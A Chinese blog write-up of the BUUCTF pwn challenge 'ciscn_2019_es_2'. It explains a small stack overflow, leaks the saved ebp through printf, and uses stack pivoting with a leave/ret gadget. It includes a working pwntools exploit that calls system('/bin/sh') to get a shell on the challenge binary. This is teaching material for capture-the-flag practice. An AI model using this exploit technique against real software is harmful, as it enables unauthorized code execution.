BUUCTF ciscn_2019_es_2

本题难点:栈迁移

1.Checksec & IDA Pro

0ca61d1d74aa43b98d6b04d06431a54d.png

fec5680193d24a3b8cb67fd0eaabc376.png

main函数内容如下

int __cdecl main(int argc, const char **argv, const char **envp)
{
  init();
  puts("Welcome, my friend. What's your name?");
  vul();
  return 0;
}

 没什么东西,主要是调用了 init 与 vul 函数

init 函数

int init()
{
  setvbuf(stdin, 0, 2, 0);
  return setvbuf(stdout, 0, 2, 0);
}

vul 函数

int vul()
{
  char s[40]; // [esp+0h] [ebp-28h] BYREF

  memset(s, 0, 0x20u);
  read(0, s, 0x30u);
  printf("Hello, %s\n", s);
  read(0, s, 0x30u);
  return printf("Hello, %s\n", s);
}

hack 函数

int hack()
{
  return system("echo flag");
}

2.源码分析:

echo flag 只是在屏幕上打印了 flag 4个字母。而不是cat flag。因此行不通。但是system可以拿来用作执行指令,比如 /bin/sh 。

可以看到有栈溢出漏洞,但是有一个问题就是:

83941891aa55458894655f5ba047cb19.png

由于对 s 大小的限定,最多是 0x30 ,但是需要填充0x28的数据。最多再放下一条ret指令。但是hack函数内并没有直接获取flag或者shell的东西。 

这时候就得使用栈迁移了。

栈迁移的两个条件:

1.存在 leave , ret gadget

2.有可以执行的内存段/或者 system 等函数

 

栈迁移的原理介绍及应用:

栈迁移原理介绍与应用_Max1z的博客-CSDN博客_栈迁移

 3.栈迁移

1135e8893ae04e7686233a5596b1de44.png

 vul 函数中使用了 printf 函数。

printf函数在没有遇到 \x00 之前会一直输出内容直到遇到 \x00

这就是部分 锟斤拷烫烫烫 的原因

本题中劫持目标地址为缓冲区变量 s 的起始地址。要计算这部分地址,可以使用 ebp + 偏移量 的方式。栈上 ebp 可以使用 printf 泄露。

6e87165593f743b19c322bd0f2bae943.png

可以把断点下在 vul 函数中的nop上。

b4a0f05c72314864992b57704fd2c94f.png

4efac4bf7d7c471fbf903a4ad5c134b6.png

523587beebeb4c83847a87f809a330df.png

 为什么是 0xffffd0d8 呢?因为 ebp 指向的 0xffffd0c8 是所存内容的地址,指向的内容 0xffffd0d8 ,也就是栈上 ebp , 为main函数的 old ebp 。 与变量 s 的距离为 0x38。

dfd095f9a41346ccb52c2225d6d883ac.png

 也就是 s 的起始地址为 ( old ebp - 0x38 ),也就是劫持目标地址。

6a101933e04341f49f8edf09ccd0abe8.png

Payload 思路:

1.首先泄露 s 地址,然后输入aaaa,填充system地址的前4个字节。因为esp指向aaaa时,执行的是aaaa下一条地址。

2.填充system地址,后4字节用aaaa或者任意东西填充。

3.填充/bin/sh

 

4.构造PoC

 首先寻找是否存在可用的leave ret gadget

e74351c7b9a54420875576aaeca1baf2.png

from pwn import *

io = process("/root/Desktop/PwnSubjects/ciscn_2019_es_2")
elf = ELF("/root/Desktop/PwnSubjects/ciscn_2019_es_2")

leave_ret_addr = 0x80484B8
system = 0x8048400

payload_leak = b'A' * ( 0x27 ) + b'B'
io.send(payload_leak)
io.recvuntil(b'B')
original_ebp = u32(io.recv(4))
print("Original ebp Address: ",hex(original_ebp))

payload_main = b'a' * 4
payload_main += p32(system)
payload_main += b'b' * 4
payload_main += p32(original_ebp - 0x28)
payload_main += b'/bin/sh\x00'
print(payload_main)
payload_main = payload_main.ljust(0x28,b'p')
payload_main += p32(original_ebp - 0x38)
payload_main += p32(leave_ret_addr)
print(payload_main)

io.sendline(payload_main)
io.interactive()

 PoC解析:

payload_leak

利用了printf函数在遇到 '\x00' 后才会停止输出的漏洞

payload_leak = b'A' * ( 0x27 ) + b'B' # 用27个A与1个B,1个B用来 recvuntil
io.send(payload_leak) # 不能使用 sendline,sendline会自动在末尾发送 '\x00',而 send 不会
io.recvuntil(b'B') # 接收 ebp 地址
original_ebp = u32(io.recv(4)) # 解包 ebp 地址
print("Original ebp Address: ",hex(original_ebp)) # 打引 ebp 的地址

payload_main

payload_main = b'a' * 4 # 发送4个a,随便输
payload_main += p32(system)
payload_main += b'b' * 4 # system执行完后的返回地址 随便写
payload_main += p32(original_ebp - 0x28) # /bin/sh 的地址
payload_main += b'/bin/sh\x00'  # /bin/sh
payload_main = payload_main.ljust(0x28,b'p') # 将payload补齐到0x28,注意这里是 = 不是 +=
payload_main += p32(original_ebp - 0x38) # 劫持栈
payload_main += p32(leave_ret_addr)

449e5f370c6e465b9ff25e35b7acb3b2.png

 7d4da0e5813f40b7abce9157ab0ce3a2.png

 成功获取shell 

 

  • 2
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值